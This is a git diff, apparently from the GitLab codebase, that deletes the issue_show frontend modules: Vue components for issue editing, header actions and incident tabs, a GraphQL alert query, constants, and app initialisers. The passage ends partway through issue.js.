diff --git a/app/assets/javascripts/issue_show/components/edit_actions.vue b/app/assets/javascripts/issue_show/components/edit_actions.vue
deleted file mode 100644
index 5b7d232fde7..00000000000
--- a/app/assets/javascripts/issue_show/components/edit_actions.vue
+++ /dev/null
@@ -1,156 +0,0 @@
-<script>
-import { GlButton, GlModal, GlModalDirective } from '@gitlab/ui';
-import { uniqueId } from 'lodash';
-import { __, sprintf } from '~/locale';
-import eventHub from '../event_hub';
-import updateMixin from '../mixins/update';
-import getIssueStateQuery from '../queries/get_issue_state.query.graphql';
-
-const issuableTypes = {
- issue: __('Issue'),
- epic: __('Epic'),
- incident: __('Incident'),
-};
-
-export default {
- components: {
- GlButton,
- GlModal,
- },
- directives: {
- GlModal: GlModalDirective,
- },
- mixins: [updateMixin],
- props: {
- canDestroy: {
- type: Boolean,
- required: true,
- },
- formState: {
- type: Object,
- required: true,
- },
- showDeleteButton: {
- type: Boolean,
- required: false,
- default: true,
- },
- issuableType: {
- type: String,
- required: true,
- },
- },
- data() {
- return {
- deleteLoading: false,
- skipApollo: false,
- issueState: {},
- modalId: uniqueId('delete-issuable-modal-'),
- };
- },
- apollo: {
- issueState: {
- query: getIssueStateQuery,
- skip() {
- return this.skipApollo;
- },
- result() {
- this.skipApollo = true;
- },
- },
- },
- computed: {
- deleteIssuableButtonText() {
- return sprintf(__('Delete %{issuableType}'), {
- issuableType: this.typeToShow.toLowerCase(),
- });
- },
- deleteIssuableModalText() {
- return this.issuableType === 'epic'
- ? __('Delete this epic and all descendants?')
- : sprintf(__('%{issuableType} will be removed! Are you sure?'), {
- issuableType: this.typeToShow,
- });
- },
- isSubmitEnabled() {
- return this.formState.title.trim() !== '';
- },
- modalActionProps() {
- return {
- primary: {
- text: this.deleteIssuableButtonText,
- attributes: [{ variant: 'danger' }, { loading: this.deleteLoading }],
- },
- cancel: {
- text: __('Cancel'),
- },
- };
- },
- shouldShowDeleteButton() {
- return this.canDestroy && this.showDeleteButton;
- },
- typeToShow() {
- const { issueState, issuableType } = this;
- const type = issueState.issueType ?? issuableType;
- return issuableTypes[type];
- },
- },
- methods: {
- closeForm() {
- eventHub.$emit('close.form');
- },
- deleteIssuable() {
- this.deleteLoading = true;
- eventHub.$emit('delete.issuable', { destroy_confirm: true });
- },
- },
-};
-</script>
-
-<template>
- <div class="gl-mt-3 gl-mb-3 gl-display-flex gl-justify-content-space-between">
- <div>
- <gl-button
- :loading="formState.updateLoading"
- :disabled="formState.updateLoading || !isSubmitEnabled"
- category="primary"
- variant="confirm"
- class="qa-save-button gl-mr-3"
- data-testid="issuable-save-button"
- type="submit"
- @click.prevent="updateIssuable"
- >
- {{ __('Save changes') }}
- </gl-button>
- <gl-button data-testid="issuable-cancel-button" @click="closeForm">
- {{ __('Cancel') }}
- </gl-button>
- </div>
- <div v-if="shouldShowDeleteButton">
- <gl-button
- v-gl-modal="modalId"
- :loading="deleteLoading"
- :disabled="deleteLoading"
- category="secondary"
- variant="danger"
- class="qa-delete-button"
- data-testid="issuable-delete-button"
- >
- {{ deleteIssuableButtonText }}
- </gl-button>
- <gl-modal
- ref="removeModal"
- :modal-id="modalId"
- size="sm"
- :action-primary="modalActionProps.primary"
- :action-cancel="modalActionProps.cancel"
- @primary="deleteIssuable"
- >
- <template #modal-title>{{ deleteIssuableButtonText }}</template>
- <div>
- <p class="gl-mb-1">{{ deleteIssuableModalText }}</p>
- </div>
- </gl-modal>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/issue_show/components/edited.vue b/app/assets/javascripts/issue_show/components/edited.vue
deleted file mode 100644
index 64f61a1b88e..00000000000
--- a/app/assets/javascripts/issue_show/components/edited.vue
+++ /dev/null
@@ -1,45 +0,0 @@
-<script>
-/* eslint-disable @gitlab/vue-require-i18n-strings */
-import timeAgoTooltip from '../../vue_shared/components/time_ago_tooltip.vue';
-
-export default {
- components: {
- timeAgoTooltip,
- },
- props: {
- updatedAt: {
- type: String,
- required: false,
- default: '',
- },
- updatedByName: {
- type: String,
- required: false,
- default: '',
- },
- updatedByPath: {
- type: String,
- required: false,
- default: '',
- },
- },
- computed: {
- hasUpdatedBy() {
- return this.updatedByName && this.updatedByPath;
- },
- },
-};
-</script>
-
-<template>
- <small class="edited-text">
- Edited
- <time-ago-tooltip v-if="updatedAt" :time="updatedAt" tooltip-placement="bottom" />
- <span v-if="hasUpdatedBy">
- by
- <a :href="updatedByPath" class="author-link">
- <span>{{ updatedByName }}</span>
- </a>
- </span>
- </small>
-</template>
diff --git a/app/assets/javascripts/issue_show/components/fields/description_template.vue b/app/assets/javascripts/issue_show/components/fields/description_template.vue
deleted file mode 100644
index 35e7860cd9b..00000000000
--- a/app/assets/javascripts/issue_show/components/fields/description_template.vue
+++ /dev/null
@@ -1,111 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-import $ from 'jquery';
-import IssuableTemplateSelectors from '../../../templates/issuable_template_selectors';
-
-export default {
- components: {
- GlIcon,
- },
- props: {
- formState: {
- type: Object,
- required: true,
- },
- issuableTemplates: {
- type: [Object, Array],
- required: false,
- default: () => ({}),
- },
- projectPath: {
- type: String,
- required: true,
- },
- projectId: {
- type: Number,
- required: true,
- },
- projectNamespace: {
- type: String,
- required: true,
- },
- },
- computed: {
- issuableTemplatesJson() {
- return JSON.stringify(this.issuableTemplates);
- },
- },
- mounted() {
- // Create the editor for the template
- const editor = document.querySelector('.detail-page-description .note-textarea') || {};
- editor.setValue = (val) => {
- // eslint-disable-next-line vue/no-mutating-props
- this.formState.description = val;
- };
- editor.getValue = () => this.formState.description;
-
- this.issuableTemplate = new IssuableTemplateSelectors({
- $dropdowns: $(this.$refs.toggle),
- editor,
- });
- },
-};
-</script>
-
-<template>
- <!-- eslint-disable @gitlab/vue-no-data-toggle -->
- <div class="dropdown js-issuable-selector-wrap gl-mb-0" data-issuable-type="issues">
- <button
- ref="toggle"
- :data-namespace-path="projectNamespace"
- :data-project-path="projectPath"
- :data-project-id="projectId"
- :data-data="issuableTemplatesJson"
- class="dropdown-menu-toggle js-issuable-selector gl-button"
- type="button"
- data-field-name="issuable_template"
- data-selected="null"
- data-toggle="dropdown"
- >
- <span class="dropdown-toggle-text">{{ __('Choose a template') }}</span>
- <gl-icon name="chevron-down" class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500" />
- </button>
- <div class="dropdown-menu dropdown-select">
- <div class="dropdown-title gl-display-flex gl-justify-content-center">
- <span class="gl-ml-auto">{{ __('Choose a template') }}</span>
- <button
- class="dropdown-title-button dropdown-menu-close gl-ml-auto"
- :aria-label="__('Close')"
- type="button"
- >
- <gl-icon name="close" class="dropdown-menu-close-icon" />
- </button>
- </div>
- <div class="dropdown-input">
- <input
- type="search"
- class="dropdown-input-field"
- :placeholder="__('Filter')"
- autocomplete="off"
- />
- <gl-icon name="search" class="dropdown-input-search" />
- <gl-icon
- name="close"
- class="dropdown-input-clear js-dropdown-input-clear"
- :aria-label="__('Clear templates search input')"
- />
- </div>
- <div class="dropdown-content"></div>
- <div class="dropdown-footer">
- <ul class="dropdown-footer-list">
- <li>
- <a class="no-template">{{ __('No template') }}</a>
- </li>
- <li>
- <a class="reset-template">{{ __('Reset template') }}</a>
- </li>
- </ul>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/issue_show/components/form.vue b/app/assets/javascripts/issue_show/components/form.vue
deleted file mode 100644
index 001e8abb941..00000000000
--- a/app/assets/javascripts/issue_show/components/form.vue
+++ /dev/null
@@ -1,222 +0,0 @@
-<script>
-import { GlAlert } from '@gitlab/ui';
-import $ from 'jquery';
-import Autosave from '~/autosave';
-import { IssuableType } from '~/issue_show/constants';
-import eventHub from '../event_hub';
-import EditActions from './edit_actions.vue';
-import DescriptionField from './fields/description.vue';
-import DescriptionTemplateField from './fields/description_template.vue';
-import IssuableTitleField from './fields/title.vue';
-import IssuableTypeField from './fields/type.vue';
-import LockedWarning from './locked_warning.vue';
-
-export default {
- components: {
- DescriptionField,
- DescriptionTemplateField,
- EditActions,
- GlAlert,
- IssuableTitleField,
- IssuableTypeField,
- LockedWarning,
- },
- props: {
- canDestroy: {
- type: Boolean,
- required: true,
- },
- formState: {
- type: Object,
- required: true,
- },
- issuableTemplates: {
- type: [Object, Array],
- required: false,
- default: () => [],
- },
- issuableType: {
- type: String,
- required: true,
- },
- markdownPreviewPath: {
- type: String,
- required: true,
- },
- markdownDocsPath: {
- type: String,
- required: true,
- },
- projectPath: {
- type: String,
- required: true,
- },
- projectId: {
- type: Number,
- required: true,
- },
- projectNamespace: {
- type: String,
- required: true,
- },
- showDeleteButton: {
- type: Boolean,
- required: false,
- default: true,
- },
- canAttachFile: {
- type: Boolean,
- required: false,
- default: true,
- },
- enableAutocomplete: {
- type: Boolean,
- required: false,
- default: true,
- },
- initialDescriptionText: {
- type: String,
- required: false,
- default: '',
- },
- },
- data() {
- return {
- showOutdatedDescriptionWarning: false,
- };
- },
- computed: {
- hasIssuableTemplates() {
- return Object.values(Object(this.issuableTemplates)).length;
- },
- showLockedWarning() {
- return this.formState.lockedWarningVisible && !this.formState.updateLoading;
- },
- isIssueType() {
- return this.issuableType === IssuableType.Issue;
- },
- },
- created() {
- eventHub.$on('delete.issuable', this.resetAutosave);
- eventHub.$on('update.issuable', this.resetAutosave);
- eventHub.$on('close.form', this.resetAutosave);
- },
- mounted() {
- this.initAutosave();
- },
- beforeDestroy() {
- eventHub.$off('delete.issuable', this.resetAutosave);
- eventHub.$off('update.issuable', this.resetAutosave);
- eventHub.$off('close.form', this.resetAutosave);
- },
- methods: {
- initAutosave() {
- const {
- description: {
- $refs: { textarea },
- },
- title: {
- $refs: { input },
- },
- } = this.$refs;
-
- this.autosaveDescription = new Autosave(
- $(textarea),
- [document.location.pathname, document.location.search, 'description'],
- null,
- this.formState.lock_version,
- );
-
- const savedLockVersion = this.autosaveDescription.getSavedLockVersion();
-
- this.showOutdatedDescriptionWarning =
- savedLockVersion && String(this.formState.lock_version) !== savedLockVersion;
-
- this.autosaveTitle = new Autosave($(input), [
- document.location.pathname,
- document.location.search,
- 'title',
- ]);
- },
- resetAutosave() {
- this.autosaveDescription.reset();
- this.autosaveTitle.reset();
- },
- keepAutosave() {
- const {
- description: {
- $refs: { textarea },
- },
- } = this.$refs;
-
- textarea.focus();
- this.showOutdatedDescriptionWarning = false;
- },
- discardAutosave() {
- const {
- description: {
- $refs: { textarea },
- },
- } = this.$refs;
-
- textarea.value = this.initialDescriptionText;
- textarea.focus();
- this.showOutdatedDescriptionWarning = false;
- },
- },
-};
-</script>
-
-<template>
- <form data-testid="issuable-form">
- <locked-warning v-if="showLockedWarning" />
- <gl-alert
- v-if="showOutdatedDescriptionWarning"
- class="gl-mb-5"
- variant="warning"
- :primary-button-text="__('Keep')"
- :secondary-button-text="__('Discard')"
- :dismissible="false"
- @primaryAction="keepAutosave"
- @secondaryAction="discardAutosave"
- >{{
- __(
- 'The comment you are editing has been changed by another user. Would you like to keep your changes and overwrite the new description or discard your changes?',
- )
- }}</gl-alert
- >
- <div class="row gl-mb-3">
- <div class="col-12">
- <issuable-title-field ref="title" :form-state="formState" />
- </div>
- </div>
- <div class="row">
- <div v-if="isIssueType" class="col-12 col-md-4 pr-md-0">
- <issuable-type-field ref="issue-type" />
- </div>
- <div v-if="hasIssuableTemplates" class="col-12 col-md-4 pl-md-2">
- <description-template-field
- :form-state="formState"
- :issuable-templates="issuableTemplates"
- :project-path="projectPath"
- :project-id="projectId"
- :project-namespace="projectNamespace"
- />
- </div>
- </div>
- <description-field
- ref="description"
- :form-state="formState"
- :markdown-preview-path="markdownPreviewPath"
- :markdown-docs-path="markdownDocsPath"
- :can-attach-file="canAttachFile"
- :enable-autocomplete="enableAutocomplete"
- />
- <edit-actions
- :form-state="formState"
- :can-destroy="canDestroy"
- :show-delete-button="showDeleteButton"
- :issuable-type="issuableType"
- />
- </form>
-</template>
diff --git a/app/assets/javascripts/issue_show/components/header_actions.vue b/app/assets/javascripts/issue_show/components/header_actions.vue
deleted file mode 100644
index 2c314ce1c3f..00000000000
--- a/app/assets/javascripts/issue_show/components/header_actions.vue
+++ /dev/null
@@ -1,283 +0,0 @@
-<script>
-import { GlButton, GlDropdown, GlDropdownItem, GlLink, GlModal } from '@gitlab/ui';
-import { mapActions, mapGetters, mapState } from 'vuex';
-import createFlash, { FLASH_TYPES } from '~/flash';
-import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
-import { IssuableType } from '~/issuable_show/constants';
-import { IssuableStatus, IssueStateEvent } from '~/issue_show/constants';
-import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
-import { visitUrl } from '~/lib/utils/url_utility';
-import { __, sprintf } from '~/locale';
-import eventHub from '~/notes/event_hub';
-import promoteToEpicMutation from '../queries/promote_to_epic.mutation.graphql';
-import updateIssueMutation from '../queries/update_issue.mutation.graphql';
-
-export default {
- components: {
- GlButton,
- GlDropdown,
- GlDropdownItem,
- GlLink,
- GlModal,
- },
- actionCancel: {
- text: __('Cancel'),
- },
- actionPrimary: {
- text: __('Yes, close issue'),
- },
- i18n: {
- promoteErrorMessage: __(
- 'Something went wrong while promoting the issue to an epic. Please try again.',
- ),
- promoteSuccessMessage: __(
- 'The issue was successfully promoted to an epic. Redirecting to epic...',
- ),
- },
- inject: {
- canCreateIssue: {
- default: false,
- },
- canPromoteToEpic: {
- default: false,
- },
- canReopenIssue: {
- default: false,
- },
- canReportSpam: {
- default: false,
- },
- canUpdateIssue: {
- default: false,
- },
- iid: {
- default: '',
- },
- isIssueAuthor: {
- default: false,
- },
- issueType: {
- default: IssuableType.Issue,
- },
- newIssuePath: {
- default: '',
- },
- projectPath: {
- default: '',
- },
- reportAbusePath: {
- default: '',
- },
- submitAsSpamPath: {
- default: '',
- },
- },
- computed: {
- ...mapState(['isToggleStateButtonLoading']),
- ...mapGetters(['openState', 'getBlockedByIssues']),
- isClosed() {
- return this.openState === IssuableStatus.Closed;
- },
- buttonText() {
- return this.isClosed
- ? sprintf(__('Reopen %{issueType}'), { issueType: this.issueType })
- : sprintf(__('Close %{issueType}'), { issueType: this.issueType });
- },
- qaSelector() {
- return this.isClosed ? 'reopen_issue_button' : 'close_issue_button';
- },
- dropdownText() {
- return sprintf(__('%{issueType} actions'), {
- issueType: capitalizeFirstCharacter(this.issueType),
- });
- },
- newIssueTypeText() {
- return sprintf(__('New %{issueType}'), { issueType: this.issueType });
- },
- showToggleIssueStateButton() {
- const canClose = !this.isClosed && this.canUpdateIssue;
- const canReopen = this.isClosed && this.canReopenIssue;
- return canClose || canReopen;
- },
- },
- created() {
- eventHub.$on('toggle.issuable.state', this.toggleIssueState);
- },
- beforeDestroy() {
- eventHub.$off('toggle.issuable.state', this.toggleIssueState);
- },
- methods: {
- ...mapActions(['toggleStateButtonLoading']),
- toggleIssueState() {
- if (!this.isClosed && this.getBlockedByIssues?.length) {
- this.$refs.blockedByIssuesModal.show();
- return;
- }
-
- this.invokeUpdateIssueMutation();
- },
- invokeUpdateIssueMutation() {
- this.toggleStateButtonLoading(true);
-
- this.$apollo
- .mutate({
- mutation: updateIssueMutation,
- variables: {
- input: {
- iid: this.iid.toString(),
- projectPath: this.projectPath,
- stateEvent: this.isClosed ? IssueStateEvent.Reopen : IssueStateEvent.Close,
- },
- },
- })
- .then(({ data }) => {
- if (data.updateIssue.errors.length) {
- createFlash({ message: data.updateIssue.errors.join('. ') });
- return;
- }
-
- const payload = {
- detail: {
- data: { id: this.iid },
- isClosed: !this.isClosed,
- },
- };
-
- // Dispatch event which updates open/close state, shared among the issue show page
- document.dispatchEvent(new CustomEvent(EVENT_ISSUABLE_VUE_APP_CHANGE, payload));
- })
- .catch(() => createFlash({ message: __('Error occurred while updating the issue status') }))
- .finally(() => {
- this.toggleStateButtonLoading(false);
- });
- },
- promoteToEpic() {
- this.toggleStateButtonLoading(true);
-
- this.$apollo
- .mutate({
- mutation: promoteToEpicMutation,
- variables: {
- input: {
- iid: this.iid,
- projectPath: this.projectPath,
- },
- },
- })
- .then(({ data }) => {
- if (data.promoteToEpic.errors.length) {
- createFlash({ message: data.promoteToEpic.errors.join('; ') });
- return;
- }
-
- createFlash({
- message: this.$options.i18n.promoteSuccessMessage,
- type: FLASH_TYPES.SUCCESS,
- });
-
- visitUrl(data.promoteToEpic.epic.webPath);
- })
- .catch(() => createFlash({ message: this.$options.i18n.promoteErrorMessage }))
- .finally(() => {
- this.toggleStateButtonLoading(false);
- });
- },
- },
-};
-</script>
-
-<template>
- <div class="detail-page-header-actions gl-display-flex">
- <gl-dropdown
- class="gl-sm-display-none! w-100"
- block
- :text="dropdownText"
- data-qa-selector="issue_actions_dropdown"
- :loading="isToggleStateButtonLoading"
- >
- <gl-dropdown-item
- v-if="showToggleIssueStateButton"
- :data-qa-selector="`mobile_${qaSelector}`"
- @click="toggleIssueState"
- >
- {{ buttonText }}
- </gl-dropdown-item>
- <gl-dropdown-item v-if="canCreateIssue" :href="newIssuePath">
- {{ newIssueTypeText }}
- </gl-dropdown-item>
- <gl-dropdown-item v-if="canPromoteToEpic" @click="promoteToEpic">
- {{ __('Promote to epic') }}
- </gl-dropdown-item>
- <gl-dropdown-item v-if="!isIssueAuthor" :href="reportAbusePath">
- {{ __('Report abuse') }}
- </gl-dropdown-item>
- <gl-dropdown-item
- v-if="canReportSpam"
- :href="submitAsSpamPath"
- data-method="post"
- rel="nofollow"
- >
- {{ __('Submit as spam') }}
- </gl-dropdown-item>
- </gl-dropdown>
-
- <gl-button
- v-if="showToggleIssueStateButton"
- class="gl-display-none gl-sm-display-inline-flex!"
- :data-qa-selector="qaSelector"
- :loading="isToggleStateButtonLoading"
- @click="toggleIssueState"
- >
- {{ buttonText }}
- </gl-button>
-
- <gl-dropdown
- class="gl-display-none gl-sm-display-inline-flex! gl-ml-3"
- icon="ellipsis_v"
- category="tertiary"
- :text="dropdownText"
- :text-sr-only="true"
- no-caret
- right
- >
- <gl-dropdown-item v-if="canCreateIssue" :href="newIssuePath">
- {{ newIssueTypeText }}
- </gl-dropdown-item>
- <gl-dropdown-item
- v-if="canPromoteToEpic"
- :disabled="isToggleStateButtonLoading"
- data-testid="promote-button"
- @click="promoteToEpic"
- >
- {{ __('Promote to epic') }}
- </gl-dropdown-item>
- <gl-dropdown-item v-if="!isIssueAuthor" :href="reportAbusePath">
- {{ __('Report abuse') }}
- </gl-dropdown-item>
- <gl-dropdown-item
- v-if="canReportSpam"
- :href="submitAsSpamPath"
- data-method="post"
- rel="nofollow"
- >
- {{ __('Submit as spam') }}
- </gl-dropdown-item>
- </gl-dropdown>
-
- <gl-modal
- ref="blockedByIssuesModal"
- modal-id="blocked-by-issues-modal"
- :action-cancel="$options.actionCancel"
- :action-primary="$options.actionPrimary"
- :title="__('Are you sure you want to close this blocked issue?')"
- @primary="invokeUpdateIssueMutation"
- >
- <p>{{ __('This issue is currently blocked by the following issues:') }}</p>
- <ul>
- <li v-for="issue in getBlockedByIssues" :key="issue.iid">
- <gl-link :href="issue.web_url">#{{ issue.iid }}</gl-link>
- </li>
- </ul>
- </gl-modal>
- </div>
-</template>
diff --git a/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql b/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql
deleted file mode 100644
index 938b90b3f7c..00000000000
--- a/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql
+++ /dev/null
@@ -1,22 +0,0 @@
-query getAlert($iid: String!, $fullPath: ID!) {
- project(fullPath: $fullPath) {
- issue(iid: $iid) {
- id
- alertManagementAlert {
- iid
- title
- detailsUrl
- severity
- status
- startedAt
- eventCount
- monitoringTool
- service
- description
- endedAt
- hosts
- details
- }
- }
- }
-}
diff --git a/app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue b/app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue
deleted file mode 100644
index 96f187f26dd..00000000000
--- a/app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue
+++ /dev/null
@@ -1,63 +0,0 @@
-<script>
-import { GlLink, GlTooltipDirective } from '@gitlab/ui';
-import { formatDate } from '~/lib/utils/datetime_utility';
-
-export default {
- components: {
- GlLink,
- IncidentSla: () => import('ee_component/issue_show/components/incidents/incident_sla.vue'),
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- alert: {
- type: Object,
- required: false,
- default: null,
- },
- },
- data() {
- return { childHasData: false };
- },
- computed: {
- startTime() {
- return formatDate(this.alert.startedAt, 'yyyy-mm-dd Z');
- },
- showHighlightBar() {
- return this.alert || this.childHasData;
- },
- },
- methods: {
- update(hasData) {
- this.childHasData = hasData;
- },
- },
-};
-</script>
-
-<template>
- <div
- v-show="showHighlightBar"
- class="gl-border-solid gl-border-1 gl-border-gray-100 gl-p-5 gl-mb-3 gl-rounded-base gl-display-flex gl-justify-content-space-between gl-xs-flex-direction-column"
- >
- <div v-if="alert" class="gl-mr-3">
- <span class="gl-font-weight-bold">{{ s__('HighlightBar|Original alert:') }}</span>
- <gl-link v-gl-tooltip :title="alert.title" :href="alert.detailsUrl">
- #{{ alert.iid }}
- </gl-link>
- </div>
-
- <div v-if="alert" class="gl-mr-3">
- <span class="gl-font-weight-bold">{{ s__('HighlightBar|Alert start time:') }}</span>
- {{ startTime }}
- </div>
-
- <div v-if="alert" class="gl-mr-3">
- <span class="gl-font-weight-bold">{{ s__('HighlightBar|Alert events:') }}</span>
- <span>{{ alert.eventCount }}</span>
- </div>
-
- <incident-sla @update="update" />
- </div>
-</template>
diff --git a/app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue b/app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue
deleted file mode 100644
index 84107d3eaca..00000000000
--- a/app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue
+++ /dev/null
@@ -1,81 +0,0 @@
-<script>
-import { GlTab, GlTabs } from '@gitlab/ui';
-import createFlash from '~/flash';
-import { trackIncidentDetailsViewsOptions } from '~/incidents/constants';
-import { s__ } from '~/locale';
-import Tracking from '~/tracking';
-import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
-import DescriptionComponent from '../description.vue';
-import getAlert from './graphql/queries/get_alert.graphql';
-import HighlightBar from './highlight_bar.vue';
-
-export default {
- components: {
- AlertDetailsTable,
- DescriptionComponent,
- GlTab,
- GlTabs,
- HighlightBar,
- MetricsTab: () => import('ee_component/issue_show/components/incidents/metrics_tab.vue'),
- },
- inject: ['fullPath', 'iid', 'uploadMetricsFeatureAvailable'],
- apollo: {
- alert: {
- query: getAlert,
- variables() {
- return {
- fullPath: this.fullPath,
- iid: this.iid,
- };
- },
- update(data) {
- return data?.project?.issue?.alertManagementAlert;
- },
- error() {
- createFlash({
- message: s__('Incident|There was an issue loading alert data. Please try again.'),
- });
- },
- },
- },
- data() {
- return {
- alert: null,
- };
- },
- computed: {
- loading() {
- return this.$apollo.queries.alert.loading;
- },
- },
- mounted() {
- this.trackPageViews();
- },
- methods: {
- trackPageViews() {
- const { category, action } = trackIncidentDetailsViewsOptions;
- Tracking.event(category, action);
- },
- },
-};
-</script>
-
-<template>
- <div>
- <gl-tabs content-class="gl-reset-line-height" class="gl-mt-n3" data-testid="incident-tabs">
- <gl-tab :title="s__('Incident|Summary')">
- <highlight-bar :alert="alert" />
- <description-component v-bind="$attrs" />
- </gl-tab>
- <metrics-tab v-if="uploadMetricsFeatureAvailable" data-testid="metrics-tab" />
- <gl-tab
- v-if="alert"
- class="alert-management-details"
- :title="s__('Incident|Alert details')"
- data-testid="alert-details-tab"
- >
- <alert-details-table :alert="alert" :loading="loading" />
- </gl-tab>
- </gl-tabs>
- </div>
-</template>
diff --git a/app/assets/javascripts/issue_show/constants.js b/app/assets/javascripts/issue_show/constants.js
deleted file mode 100644
index ef9699deb42..00000000000
--- a/app/assets/javascripts/issue_show/constants.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import { __ } from '~/locale';
-
-export const IssuableStatus = {
- Closed: 'closed',
- Open: 'opened',
- Reopened: 'reopened',
-};
-
-export const IssuableStatusText = {
- [IssuableStatus.Closed]: __('Closed'),
- [IssuableStatus.Open]: __('Open'),
- [IssuableStatus.Reopened]: __('Open'),
-};
-
-export const IssuableType = {
- Issue: 'issue',
- Epic: 'epic',
- MergeRequest: 'merge_request',
- Alert: 'alert',
-};
-
-export const IssueStateEvent = {
- Close: 'CLOSE',
- Reopen: 'REOPEN',
-};
-
-export const STATUS_PAGE_PUBLISHED = __('Published on status page');
-export const JOIN_ZOOM_MEETING = __('Join Zoom meeting');
-
-export const IssuableTypes = [
- { value: 'issue', text: __('Issue'), icon: 'issue-type-issue' },
- { value: 'incident', text: __('Incident'), icon: 'issue-type-incident' },
-];
-
-export const IssueTypePath = 'issues';
-export const IncidentTypePath = 'issues/incident';
-export const IncidentType = 'incident';
-
-export const issueState = { issueType: undefined, isDirty: false };
-
-export const POLLING_DELAY = 2000;
-
-export const WorkspaceType = {
- project: 'project',
- group: 'group',
-};
diff --git a/app/assets/javascripts/issue_show/incident.js b/app/assets/javascripts/issue_show/incident.js
deleted file mode 100644
index 3aff2d9c54a..00000000000
--- a/app/assets/javascripts/issue_show/incident.js
+++ /dev/null
@@ -1,99 +0,0 @@
-import Vue from 'vue';
-import { parseBoolean } from '~/lib/utils/common_utils';
-import issuableApp from './components/app.vue';
-import incidentTabs from './components/incidents/incident_tabs.vue';
-import { issueState, IncidentType } from './constants';
-import apolloProvider from './graphql';
-import getIssueStateQuery from './queries/get_issue_state.query.graphql';
-import HeaderActions from './components/header_actions.vue';
-
-const bootstrapApollo = (state = {}) => {
- return apolloProvider.clients.defaultClient.cache.writeQuery({
- query: getIssueStateQuery,
- data: {
- issueState: state,
- },
- });
-};
-
-export function initIncidentApp(issuableData = {}) {
- const el = document.getElementById('js-issuable-app');
-
- if (!el) {
- return undefined;
- }
-
- bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
-
- const {
- canCreateIncident,
- canUpdate,
- iid,
- projectNamespace,
- projectPath,
- projectId,
- slaFeatureAvailable,
- uploadMetricsFeatureAvailable,
- } = issuableData;
-
- const fullPath = `${projectNamespace}/${projectPath}`;
-
- return new Vue({
- el,
- apolloProvider,
- components: {
- issuableApp,
- },
- provide: {
- issueType: IncidentType,
- canCreateIncident,
- canUpdate,
- fullPath,
- iid,
- projectId,
- slaFeatureAvailable: parseBoolean(slaFeatureAvailable),
- uploadMetricsFeatureAvailable: parseBoolean(uploadMetricsFeatureAvailable),
- },
- render(createElement) {
- return createElement('issuable-app', {
- props: {
- ...issuableData,
- descriptionComponent: incidentTabs,
- showTitleBorder: false,
- },
- });
- },
- });
-}
-
-export function initIncidentHeaderActions(store) {
- const el = document.querySelector('.js-issue-header-actions');
-
- if (!el) {
- return undefined;
- }
-
- bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
-
- return new Vue({
- el,
- apolloProvider,
- store,
- provide: {
- canCreateIssue: parseBoolean(el.dataset.canCreateIncident),
- canPromoteToEpic: parseBoolean(el.dataset.canPromoteToEpic),
- canReopenIssue: parseBoolean(el.dataset.canReopenIssue),
- canReportSpam: parseBoolean(el.dataset.canReportSpam),
- canUpdateIssue: parseBoolean(el.dataset.canUpdateIssue),
- iid: el.dataset.iid,
- isIssueAuthor: parseBoolean(el.dataset.isIssueAuthor),
- issueType: el.dataset.issueType,
- newIssuePath: el.dataset.newIssuePath,
- projectPath: el.dataset.projectPath,
- projectId: el.dataset.projectId,
- reportAbusePath: el.dataset.reportAbusePath,
- submitAsSpamPath: el.dataset.submitAsSpamPath,
- },
- render: (createElement) => createElement(HeaderActions),
- });
-}
diff --git a/app/assets/javascripts/issue_show/issue.js b/app/assets/javascripts/issue_show/issue.js
deleted file mode 100644
index 25cc51478ff..00000000000
--- a/app/assets/javascripts/issue_show/issue.js
+++ /dev/null
@@ -1,83 +0,0 @@
-import Vue from 'vue';
-import { mapGetters } from 'vuex';
-import { parseBoolean } from '~/lib/utils/common_utils';
-import IssuableApp from './components/app.vue';
-import HeaderActions from './components/header_actions.vue';
-import { issueState } from './constants';
-import apolloProvider from './graphql';
-import getIssueStateQuery from './queries/get_issue_state.query.graphql';
-
-const bootstrapApollo = (state = {}) => {
- return apolloProvider.clients.defaultClient.cache.writeQuery({
- query: getIssueStateQuery,
- data: {
- issueState: state,
- },
- });
-};
-
-export function initIssuableApp(issuableData, store) {
- const el = document.getElementById('js-issuable-app');
-
- if (!el) {
- return undefined;
- }
-
- bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
-
- const { canCreateIncident, ...issuableProps } = issuableData;
-
- return new Vue({
- el,
- apolloProvider,
- store,
- provide: {
- canCreateIncident,
- },
- computed: {
- ...mapGetters(['getNoteableData']),
- },
- render(createElement) {
- return createElement(IssuableApp, {
- props: {
- ...issuableProps,
- isConfidential: this.getNoteableData?.confidential,
- isLocked: this.getNoteableData?.discussion_locked,
- issuableStatus: this.getNoteableData?.state,
- },
- });
- },
- });
-}
-
-export function initIssueHeaderActions(store) {
- const el = document.querySelector('.js-issue-header-actions');
-
- if (!el) {
- return undefined;
- }
-
- bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
-
- return new Vue({
- el,
- apolloProvider,
- store,
- provide: {
- canCreateIssue: parseBoolean(el.dataset.canCreateIssue),
- canPromoteToEpic: parseBoolean(el.dataset.canPromoteToEpic),
- canReopenIssue: parseBoolean(el.dataset.canReopenIssue),
- canReportSpam: parseBoolean(el.dataset.canReportSpam),
- canUpdateIssue: parseBoolean(el.dataset.canUpdateIssue),
- iid: el.dataset.iid,
- isIssueAuthor: parseBoolean(el.dataset.isIssueAuthor),
- issueType: el.dataset.issueType,
- newIssuePath: el.dataset.newIssuePath,
